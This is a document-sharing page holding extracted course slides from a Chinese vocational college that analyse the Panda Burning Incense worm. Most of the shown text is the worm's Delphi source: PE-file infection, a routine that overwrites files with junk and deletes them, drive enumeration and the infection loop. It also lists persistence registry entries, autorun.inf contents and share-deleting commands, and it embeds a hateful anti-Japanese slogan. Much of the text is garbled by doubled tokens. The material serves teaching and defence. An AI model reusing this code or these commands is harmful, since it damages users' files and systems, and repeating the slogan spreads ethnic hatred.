熊貓燒香病毒剖析_第1頁
熊貓燒香病毒剖析_第2頁
熊貓燒香病毒剖析_第3頁
熊貓燒香病毒剖析_第4頁
熊貓燒香病毒剖析_第5頁
已閱讀5頁,還剩34頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、Virus重慶電子工程職業學院重慶電子工程職業學院計算機病毒與防治課程小組教學單元4-4 蠕蟲病毒防治 熊貓燒香病毒源碼分析 熊貓燒香病毒特點 熊貓燒香病毒行為分析第二講第二講 熊貓燒香蠕蟲病毒剖析熊貓燒香蠕蟲病毒剖析計算機病毒與防治課程小組 熊貓燒香病毒的手工清除熊貓燒香病毒特點計算機病毒與防治課程小組病毒名稱 熊貓燒香 又稱 尼姆亞、武漢男生、worm.whBoyworm.whBoy. .、worm.nimayaworm.nimaya. . 病毒類型 蠕蟲病毒危險級別 影響系統 Win 9X/ME/NT/2000/XP/2003Win 9X/ME/NT/2000/XP/2003 熊貓燒香病

2、毒特點計算機病毒與防治課程小組2006年底,我國互聯網上大規模爆發“熊貓燒香”病毒及其變種,該病毒通過多種方式進行傳播,同時該病毒還具有盜取用戶游戲賬號、賬號等功能。該病毒傳播速度快,危害范圍廣,截至案發為止,已有上百萬個人用戶、網吧及企業局域網用戶遭受感染和破壞,引起社會各界高度關注。 瑞星2006安全報告將其列為十大病毒之首,在2006年度中國大陸地區電腦病毒疫情和互聯網安全報告的十大病毒排行中一舉成為“毒王”。熊貓燒香病毒特點計算機病毒與防治課程小組熊貓燒香一個感染型的蠕蟲病毒,它能感染系統中exe,com,pif,src,html,asp等文件,它還能中止大量的反病毒軟件進程并且會刪除

3、擴展名為gho的文件,該文件是一系統備份工具GHOST的備份文件,使用戶的系統備份文件丟失。 被感染的用戶系統中所有.exe可執行文件全部被改成熊貓舉著三根香的模樣。熊貓燒香病毒特點計算機病毒與防治課程小組湖北省公安廳2007年2月12日宣布,根據統一部署,湖北省網監在多個省市公安機關的配合下,一舉偵破了制作傳播“熊貓燒香”病毒案,抓獲李俊(男,歲,武漢新洲區人)。病毒制造者熊貓燒香病毒源碼分析計算機病毒與防治課程小組含有病毒體的文件被運行后,病毒將自身拷貝至系統目錄,同時修改注冊表將自身設置為開機啟動項,并遍歷各個驅動器,將自身寫入磁盤根目錄下,增加一個Autorun.inf文件,使得用戶打

4、開該盤時激活病毒體。隨后病毒體開一個線程進行本地文件感染,同時開另外一個線程連接網站下載ddos程序進行發動惡意攻擊。病毒結構 主程序流程圖熊貓燒香病毒源碼分析計算機病毒與防治課程小組Program Program japussyjapussy; ;usesuseswindows,windows, sysutilssysutils, , classes,classes, graphics,graphics, shellapishellapi, registry;registry;constconstheadersizeheadersize = = 82432;82432; /病毒體的大小ico

5、noffseticonoffset = = $12eb8;$12eb8; /pe文件主圖標的偏移量/查找2800000020的十六進制字符串可以找到主圖標的偏移量 headersizeheadersize = = 38912;38912; /upx壓縮過病毒體的大小iconoffseticonoffset = = $92bc;$92bc; /upx壓縮過pe文件主圖標的偏移量量 iconsizeiconsize = = $2e8;$2e8; /pe文件主圖標的大小-744字節icontailicontail = = iconoffseticonoffset + + iconsizeiconsi

6、ze; ; /pe文件主圖標的尾部idid = = $44444444;$44444444; /感染標記病毒文件初始信息熊貓燒香病毒源碼分析計算機病毒與防治課程小組/垃圾碼,以備寫入垃圾碼,以備寫入catchwordcatchword = = ifif a a racerace needneed toto bebe killedkilled out,out, itit mustmust bebe yamatyamato o. . + + ifif a a countrycountry needneed toto bebe destroyed,destroyed, itit mustmust b

7、ebe japanjapan! ! + + * * * * w32.japussy.worm.aw32.japussy.worm.a * * * *;$r$r * *.res.resfunctionfunction registerserviceprocess(dwprocessidregisterserviceprocess(dwprocessid, , dwtypedwtype: : integeinteger):r): integer;integer; stdcallstdcall; ; externalexternal kernel32.dll;kernel32.dll; /函數聲明v

8、arvartmpfiletmpfile: : string;string;sisi: : startupinfostartupinfo; ;pi:pi: process_informationprocess_information; ;isjapisjap: : booleanboolean = = false;false; /日文操作系統標記熊貓燒香病毒源碼分析計算機病毒與防治課程小組 =判斷是否為判斷是否為win9xwin9x =functionfunction iswin9x:iswin9x: booleanboolean; ;varvarverver: : tosversioninfo

9、tosversioninfo; ;beginbeginresultresult :=:= false;false;ver.dwosversioninfosizever.dwosversioninfosize :=:= sizeof(tosvsizeof(tosversioninfoersioninfo););ifif notnot getversionex(vergetversionex(ver) ) thenthen exit;exit;ifif ( (ver.dwplatformidver.dwplatformid = = ver_platform_winver_platform_win3

10、2_windows)32_windows) thenthen /win9x/win9x resultresult :=:= true;true;end;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組= 在流之間復制在流之間復制= procedureprocedure copystream(srccopystream(src: : tstreamtstream; ; sstasstartposrtpos: : integer;integer; dstdst: : tstreamtstream; ;dstartposdstartpos: : integer;integer; count:co

11、unt: integer);integer);varvarscurposscurpos, , dcurposdcurpos: : integer;integer;beginbeginscurposscurpos :=:= src.positionsrc.position; ;dcurposdcurpos :=:= dst.positiondst.position; ;src.seek(sstartpossrc.seek(sstartpos, , 0);0);dst.seek(dstartposdst.seek(dstartpos, , 0);0);dst.copyfrom(srcdst.cop

12、yfrom(src, , count);count);src.seek(scurpossrc.seek(scurpos, , 0);0);dst.seek(dcurposdst.seek(dcurpos, , 0);0);end;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組=將宿主文件從已感染的將宿主文件從已感染的PEPE文件中分離出來,以備使用文件中分離出來,以備使用=procedureprocedure extractfile(filenameextractfile(filename: : string);string);varvarsstreamsstream, , dstrea

13、mdstream: : tfilestreamtfilestream; ;beginbegin try try sstreamsstream :=:= tfilestream.create(paramstr(0),tfilestream.create(paramstr(0), fmopenreadfmopenread oror fmsharedenynonefmsharedenynone);); try try dstreamdstream :=:= tfilestream.create(filenametfilestream.create(filename, , fmcreatefmcrea

14、te);); try try sstream.seek(headersizesstream.seek(headersize, , 0); 0); /跳過頭部的病毒部分 dstream.copyfrom(sstreamdstream.copyfrom(sstream, , sstream.sizesstream.size - - headersizeheadersize);); finally finally dstream.freedstream.free; ; end; end;finallyfinallysstream.freesstream.free; ;end;end;熊貓燒香病毒源碼

15、分析計算機病毒與防治課程小組= 填充填充startupinfostartupinfo結構結構 =procedureprocedure fillstartupinfo(varfillstartupinfo(var sisi: : startstartupinfoupinfo; ; state:state: word);word);beginbeginsi.cbsi.cb :=:= sizeof(sisizeof(si););si.lpreservedsi.lpreserved :=:= nil;nil;si.lpdesktopsi.lpdesktop :=:= nil;nil;si.lptitl

16、esi.lptitle :=:= nil;nil;si.dwflagssi.dwflags :=:= startf_useshowwindowstartf_useshowwindow; ;si.wshowwindowsi.wshowwindow :=:= state;state;si.cbreserved2si.cbreserved2 :=:= 0;0;si.lpreserved2si.lpreserved2 :=:= nil;nil;end;end; =發帶毒郵件發帶毒郵件= procedureprocedure sendmailsendmail; ; /此處省略了帶危害性的代碼beginb

17、eginend;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組=感染感染PEPE文件文件=procedureprocedure infectonefile(filenameinfectonefile(filename: : string);string);varvarhdrstreamhdrstream, , srcstreamsrcstream: : tfilestreamtfilestream; ;icostreamicostream, , dststreamdststream: : tmemorystreamtmemorystream; ;iidiid: : longintlong

18、int; ;aiconaicon: : ticonticon; ;infected,infected, ispeispe: : booleanboolean; ;i:i: integer;integer;bufbuf: : array0.1array0.1 ofof char;char;beginbegintrytry /出錯則文件正在被使用,退出 ifif comparetext(filenamecomparetext(filename, , japussy.exejapussy.exe) = = 0 0 thenthen /是自己則不感染exit;exit;infectedinfected

19、 :=:= false;false;ispeispe :=:= false;false;熊貓燒香病毒源碼分析計算機病毒與防治課程小組srcstreamsrcstream :=:= tfilestream.create(filenametfilestream.create(filename, , fmopenreadfmopenread););trytryforfor i i :=:= 0 0 toto $108$108 dodo /檢查pe文件頭beginbeginsrcstream.seek(isrcstream.seek(i, , sofrombeginningsofrombeginnin

20、g););srcstream.read(bufsrcstream.read(buf, , 2);2);ifif (buf0(buf0 = = #80)#80) andand (buf1(buf1 = = #69)#69) thenthen /pe標記beginbeginispeispe :=:= true; true; /是pe文件break;break;end;end;end;end;srcstream.seek(-4,srcstream.seek(-4, sofromendsofromend);); / /檢查感染標記檢查感染標記srcstream.read(iidsrcstream.re

21、ad(iid, , 4);4);ifif ( (iidiid = = id)id) oror ( (srcstream.sizesrcstream.size 10240)10240) thenthen /太小的文件不感染infectedinfected :=:= true;true;finallyfinallysrcstream.freesrcstream.free; ;end;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組ifif infectedinfected oror (not(not ispeispe) ) thenthen /如果感染過了或不是pe文件則退出exit;exit

22、;icostreamicostream :=:= tmemorystream.createtmemorystream.create; ;dststreamdststream :=:= tmemorystream.createtmemorystream.create; ;trytryaiconaicon :=:= ticon.createticon.create; ;trytry/得到被感染文件的主圖標(744字節),存入流 aicon.releasehandleaicon.releasehandle; ;aicon.handleaicon.handle :=:= extracticon(hin

23、stanceextracticon(hinstance, , pchar(filenamepchar(filename),), 0);0);aicon.savetostream(icostreamaicon.savetostream(icostream););finallyfinallyaicon.freeaicon.free; ;end;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組srcstreamsrcstream :=:= tfilestream.create(filenametfilestream.create(filename, , fmopenreadfmopenread)

24、;); /頭文件hdrstreamhdrstream :=:= tfilestream.create(paramstr(0),tfilestream.create(paramstr(0), fmopenreadfmopenread oror fmsharedenynfmsharedenynoneone);); trytry/寫入病毒體主圖標之前的數據copystream(hdrstreamcopystream(hdrstream, , 0,0, dststreamdststream, , 0,0, iconoffseticonoffset););/寫入目前程序的主圖標copystream(ic

25、ostreamcopystream(icostream, , 22,22, dststreamdststream, , iconoffseticonoffset, , iconsizeiconsize););/寫入病毒體主圖標到病毒體尾部之間的數據copystream(hdrstreamcopystream(hdrstream, , icontailicontail, , dststreamdststream, , icontailicontail, , headersizeheadersize - - icontailicontail););/寫入宿主程序copystream(srcstre

26、amcopystream(srcstream, , 0,0, dststreamdststream, , headersizeheadersize, , srcstream.sizesrcstream.size););/寫入已感染的標記dststream.seek(0,dststream.seek(0, 2);2);iidiid :=:= $44444444;$44444444;dststream.write(iiddststream.write(iid, , 4);4);finallyfinally熊貓燒香病毒源碼分析計算機病毒與防治課程小組=將目標文件寫入垃圾碼后刪除將目標文件寫入垃圾碼后

27、刪除=procedureprocedure smashfile(filenamesmashfile(filename: : string);string);varvarfilehandlefilehandle: : integer;integer;i,i, size,size, mass,mass, max,max, lenlen: : integer;integer;BeginBegintrytrysetfileattributes(pchar(filenamesetfileattributes(pchar(filename),), 0); 0); /去掉只讀屬性filehandlefile

28、handle :=:= fileopen(filenamefileopen(filename, , fmopenwritefmopenwrite); ); /打開文件trytrysizesize :=:= getfilesize(filehandlegetfilesize(filehandle, , nil);nil); / /文件大小文件大小i i :=:= 0;0;randomize;randomize;maxmax :=:= random(15);random(15); /寫入垃圾碼的隨機次數ifif maxmax 5 5 thenthenmaxmax :=:= 5;5;熊貓燒香病毒源碼

29、分析計算機病毒與防治課程小組massmass :=:= sizesize divdiv max; max; /每個間隔塊的大小lenlen :=:= length(catchwordlength(catchword););whilewhile i i maxmax dodobeginbeginfileseek(filehandlefileseek(filehandle, , i i * * mass,mass, 0);0); /定位/寫入垃圾碼,將文件徹底破壞掉filewrite(filehandlefilewrite(filehandle, , catchword,catchword, le

30、nlen););inc(iinc(i););end;end;finallyfinallyfileclose(filehandlefileclose(filehandle);); /關閉文件end;end;/刪除之deletefile(pchar(filenamedeletefile(pchar(filename);); 熊貓燒香病毒源碼分析計算機病毒與防治課程小組 =獲得可寫的驅動器列表獲得可寫的驅動器列表 =functionfunction getdrivesgetdrives: : string;string;varvardisktypedisktype: : word;word;d:d:

31、 char;char;strstr: : string;string;i:i: integer;integer;beginbeginforfor i i :=:= 0 0 toto 2525 dodo /遍歷26個字母beginbegind d :=:= chr(ichr(i + + 65);65);strstr :=:= d d + + :;:;disktypedisktype :=:= getdrivetype(pchar(strgetdrivetype(pchar(str););/得到本地磁盤和網絡盤ifif ( (disktypedisktype = = drive_fixeddriv

32、e_fixed) ) oror ( (disktypedisktype = = drive_remotedrive_remote) ) thenthenresultresult :=:= resultresult + + d;d;end;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組=遍歷目錄,感染和摧毀文件遍歷目錄,感染和摧毀文件=procedureprocedure loopfiles(pathloopfiles(path, , mask:mask: string);string);varvari,i, count:count: integer;integer;fn,fn, ext:

33、ext: string;string;subdirsubdir: : tstringststrings; ;searchrecsearchrec: : tsearchrectsearchrec; ;msgmsg: : tmsgtmsg; ;functionfunction isvaliddir(searchrecisvaliddir(searchrec: : tsearchrectsearchrec):): integer;integer;beginbeginifif ( (searchrec.attrsearchrec.attr 16)16) andand ( (

34、 .).) andand( ( .).) thenthenresultresult :=:= 0 0 /不是目錄elseelse ifif ( (searchrec.attrsearchrec.attr = = 16)16) andand ( ( .).) andand( ( .).) thenthenresultresult :=:= 1 1 /不是根目錄elseelse resultresult

35、:=:= 2;2; /是根目錄end;end;熊貓燒香病毒源碼分析計算機病毒與防治課程小組beginbeginifif ( (findfirst(pathfindfirst(path + + mask,mask, faanyfilefaanyfile, , searchrecsearchrec) ) = = 0)0) thenthenbeginbeginrepeat repeat peekmessage(msgpeekmessage(msg, , 0,0, 0,0, 0,0, pm_removepm_remove); ); /調整消息隊列,避免引起懷疑ifif isvaliddir(searc

36、hrecisvaliddir(searchrec) ) = = 0 0 thenthenbeginbeginfnfn :=:= pathpath + + ; ;extext :=:= uppercase(extractfileext(fnuppercase(extractfileext(fn););ifif (ext(ext = = .exe).exe) oror (ext(ext = = .scrscr) thenthenbegin begin infectonefile(fninfectonefile(fn);); /感染可執行文件

37、endendelseelse ifif (ext(ext = = .htmhtm) oror (ext(ext = = .html).html) oror (ext(ext = = .asp).asp) thenthenbeginbegin/感染html和asp文件,將base64編碼后的病毒寫入/感染瀏覽此網頁的所有用戶endend熊貓燒香病毒源碼分析計算機病毒與防治課程小組elseelse ifif extext = = .wabwab thenthen /outlook地址簿文件beginbegin/獲取outlook郵件地址endendelseelse ifif extext = =

38、.adcadc then then /foxmail地址自動完成文件beginbegin/獲取foxmail郵件地址endendelseelse ifif extext = = indind thenthen /foxmail地址簿文件beginbegin/獲取foxmail郵件地址子過程是典型的遍歷本機中所有可用盤中的所有子目錄下的所有文件并施行相應操作的編碼。在確定當前文件為可執行文件(僅針對.EXE和.SCR文件)后,調用子過程InfectOneFile進行特定的感染。熊貓燒香病毒源碼分析計算機病毒與防治課程小組=遍歷磁盤上所有的文件遍歷磁盤上所有的文件=procedureprocedu

39、re infectfilesinfectfiles; ;varvardriverlistdriverlist: : string;string;i,i, lenlen: : integer;integer;beginbeginifif getacpgetacp = = 932932 thenthen /日文操作系統isjapisjap :=:= true;true; driverlistdriverlist :=:= getdrivesgetdrives; ; /得到可寫的磁盤列表lenlen :=:= length(driverlistlength(driverlist););whilewh

40、ile truetrue do do /死循環beginbeginforfor i i :=:= lenlen downtodownto 1 1 dodo /遍歷每個磁盤驅動器loopfiles(driverlistloopfiles(driverlist + + :,:, * *. .* *);); /感染之sendmailsendmail; ; /發帶毒郵件sleep(1000sleep(1000 * * 6060 * * 5); 5); /睡眠5分鐘熊貓燒香病毒源碼分析計算機病毒與防治課程小組這里的核心是后面的死循環。先讓我們分析較簡單的“發帶毒郵件”部分。從后面病毒具體遍歷可用磁盤并執

41、行具體感染過程可知,此過程中,它會取得安裝在本機中的常用郵件客戶端程序(Outlook,FoxMail)相應電子郵件信息。其目的是:取得重要郵箱地址及相應密碼,然后向這些郵件地址群發帶毒的電子郵件,從而達到利用網絡傳播自身的目的。熊貓燒香病毒源碼分析計算機病毒與防治課程小組=主程序開始主程序開始=beginbeginifif iswin9xiswin9x thenthen /是win9xregisterserviceprocess(getcurrentprocessidregisterserviceprocess(getcurrentprocessid, , 1)1) /注冊為服務進程else

42、else /winntwinntbeginbegin/遠程線程映射到遠程線程映射到explorerexplorer進程進程end;end;雖然源碼提供者省略了相應實現,但這是比較基本的編程實現。通過把自身注冊為服務進程,可以使自己隨著系統的啟動一起啟動。當然,還可以進一步施加技巧而使自己從Windows任務管理器下隱藏顯示。熊貓燒香病毒源碼分析計算機病毒與防治課程小組/如果是原始病毒體自己ifif comparetext(extractfilename(paramstr(0),comparetext(extractfilename(paramstr(0), japussy.exejapussy

43、.exe) = = 0 0 thenthen infectfilesinfectfiles /感染和發郵件elseelse /已寄生于宿主程序上了,開始工作beginbegintmpfiletmpfile :=:= paramstr(0);paramstr(0); /創建臨時文件delete(tmpfiledelete(tmpfile, , length(tmpfilelength(tmpfile) ) - - 4,4, 4);4);tmpfiletmpfile :=:= tmpfiletmpfile + + #32#32 + + .exe;.exe; /真正的宿主文件,多一個空格extrac

44、tfile(tmpfileextractfile(tmpfile);); /分離之fillstartupinfo(sifillstartupinfo(si, , sw_showdefaultsw_showdefault););createprocess(pchar(tmpfilecreateprocess(pchar(tmpfile),), pchar(tmpfilepchar(tmpfile),), nil,nil, nil,nil, true,true,0,0, nil,nil, .,., sisi, , pi);pi); /創建新進程運行之infectfilesinfectfiles;

45、; /感染和發郵件end;end;熊貓燒香病毒主要行為分析計算機病毒與防治課程小組熊貓燒香病毒樣本 熊貓燒香病毒感染D盤中的文件熊貓燒香病毒主要行為分析計算機病毒與防治課程小組熊貓燒香病毒主要行為分析計算機病毒與防治課程小組(2)復制自身到系統目錄下:C:WINDOWSSystem32Driversspoclsv.exe。 熊貓燒香病毒在系統盤下生成的文件熊貓燒香病毒主要行為分析計算機病毒與防治課程小組(3)創建啟動項:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunsvcshare=%System%driversspocls

46、v.exe 熊貓燒香在注冊表中添加啟動項熊貓燒香病毒主要行為分析計算機病毒與防治課程小組(4)在各分區根目錄生成病毒副本:X:X:setup.exesetup.exeX:X:autorun.infautorun.inf其中autorun.inf中的內容是: AutoRunAutoRun OPEN=OPEN=setup.exesetup.exeshellexecuteshellexecute= =setup.exesetup.exeshellAutocommand=shellAutocommand=setup.exesetup.exe熊貓燒香病毒主要行為分析計算機病毒與防治課程小組(5)使用net share命令關閉管理共享:cmd.execmd.exe /c net share X$ /del /y /c net share X$ /del /y cmd.execmd.exe /c net share admin$ /del /y /c net sha

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論